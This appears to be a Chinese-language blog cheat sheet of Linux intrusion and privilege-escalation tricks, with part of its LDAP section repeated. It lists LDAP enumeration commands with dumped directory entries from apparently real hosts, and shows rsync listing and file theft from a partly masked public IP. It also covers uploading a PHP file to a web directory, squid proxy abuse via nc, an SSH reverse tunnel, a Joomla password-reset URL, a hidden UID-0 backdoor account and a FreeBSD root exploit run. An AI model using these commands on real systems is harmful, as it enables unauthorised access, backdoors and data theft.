liunx 相关提权渗透技巧总结，一、ldap 渗透技巧：

1.cat /etc/nsswitch

看看密码登录策略我们可以看到使用了file ldap模式

2.less /etc/ldap.conf    base ou=People,dc=unix-center,dc=net

找到ou,dc,dc设置

3.查找管理员信息

匿名方式

ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b "cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2

有密码形式

ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b "cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2

4.查找10条用户记录

ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

实战:

1.cat /etc/nsswitch

看看密码登录策略我们可以看到使用了file ldap模式

2.less /etc/ldap.conf    base ou=People,dc=unix-center,dc=net

找到ou,dc,dc设置

3.查找管理员信息

匿名方式

ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b "cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2

有密码形式

ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b "cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2

4.查找10条用户记录

ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

渗透实战:

1.返回所有的属性

ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"    version: 1    dn: dc=ruc,dc=edu,dc=cn    dc: ruc    objectClass: domain    dn: uid=manager,dc=ruc,dc=edu,dc=cn    uid: manager    objectClass: inetOrgPerson    objectClass: organizationalPerson    objectClass: person    objectClass: top    sn: manager    cn: manager    dn: uid=superadmin,dc=ruc,dc=edu,dc=cn    uid: superadmin    objectClass: inetOrgPerson    objectClass: organizationalPerson    objectClass: person    objectClass: top    sn: superadmin    cn: superadmin    dn: uid=admin,dc=ruc,dc=edu,dc=cn    uid: admin    objectClass: inetOrgPerson    objectClass: organizationalPerson    objectClass: person    objectClass: top    sn: admin    cn: admin    dn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn    uid: dcp_anonymous    objectClass: top    objectClass: person    objectClass: organizationalPerson    objectClass: inetOrgPerson    sn: dcp_anonymous    cn: dcp_anonymous

2.查看基类

bash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" | more version: 1 dn: dc=ruc,dc=edu,dc=cn dc: ruc objectClass: domain

3.查找

liunx 相关提权渗透技巧总结，二、NFS 渗透技巧：

列举IP：

showmount -e ip

liunx 相关提权渗透技巧总结，三、rsync渗透技巧：

1.查看rsync服务器上的列表：

rsync 210.51.X.X::    finance    img_finance    auto    img_auto    html_cms    img_cms    ent_cms    ent_img    ceshi    res_img    res_img_c2    chip    chip_c2    ent_icms    games    gamesimg    media    mediaimg    fashion    res-fashion    res-fo    taobao-home    res-taobao-home    house    res-house    res-home    res-edu    res-ent    res-labs    res-news    res-phtv    res-media    home    edu    news    res-book

看相应的下级目录(注意一定要在目录后面添加上/)

rsync 210.51.X.X::htdocs_app/    rsync 210.51.X.X::auto/    rsync 210.51.X.X::edu/

2.下载rsync服务器上的配置文件

rsync -avz 210.51.X.X::htdocs_app/ /tmp/app/

3.向上更新rsync文件(成功上传,不会覆盖)

rsync -avz nothack.php 210.51.X.X::htdocs_app/warn/   http://app.finance.xxx.com/warn/nothack.txt

liunx 相关提权渗透技巧总结，四、squid渗透技巧：

nc -vv  80    GET HTTP://www.sina.com / HTTP/1.0    GET HTTP://WWW.sina.com:22 / HTTP/1.0

liunx 相关提权渗透技巧总结，五、SSH端口转发：

ssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip

liunx 相关提权渗透技巧总结，六、joomla渗透小技巧：

确定版本：

index.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-15&catid=32:languages&Itemid=47

重新设置密码：

index.php?option=com_user&view=reset&layout=confirm

liunx 相关提权渗透技巧总结，七、Linux添加UID为0的root用户：

useradd -o -u 0 nothack

liunx 相关提权渗透技巧总结，八、freebsd本地提权：

[argp@julius ~]$ uname -rsi    * freebsd 7.3-RELEASE GENERIC    * [argp@julius ~]$ sysctl vfs.usermount    * vfs.usermount: 1    * [argp@julius ~]$ id    * uid=1001(argp) gid=1001(argp) groups=1001(argp)    * [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex    * [argp@julius ~]$ ./nfs_mount_ex    *    calling nmount()

tar 文件夹打包：

1、tar打包：

tar -cvf /home/public_html/*.tar /home/public_html/--exclude=排除文件*.gif  排除目录 /xx/xx/*    alzip打包(韩国) alzip -a D:/WEB d:/web*.rar

{

注：

关于tar的打包方式,linux不以扩展名来决定文件类型。

若压缩的话tar -ztf *.tar.gz 查看压缩包里内容 tar -zxf *.tar.gz 解压

那么用这条比较好

tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*

}
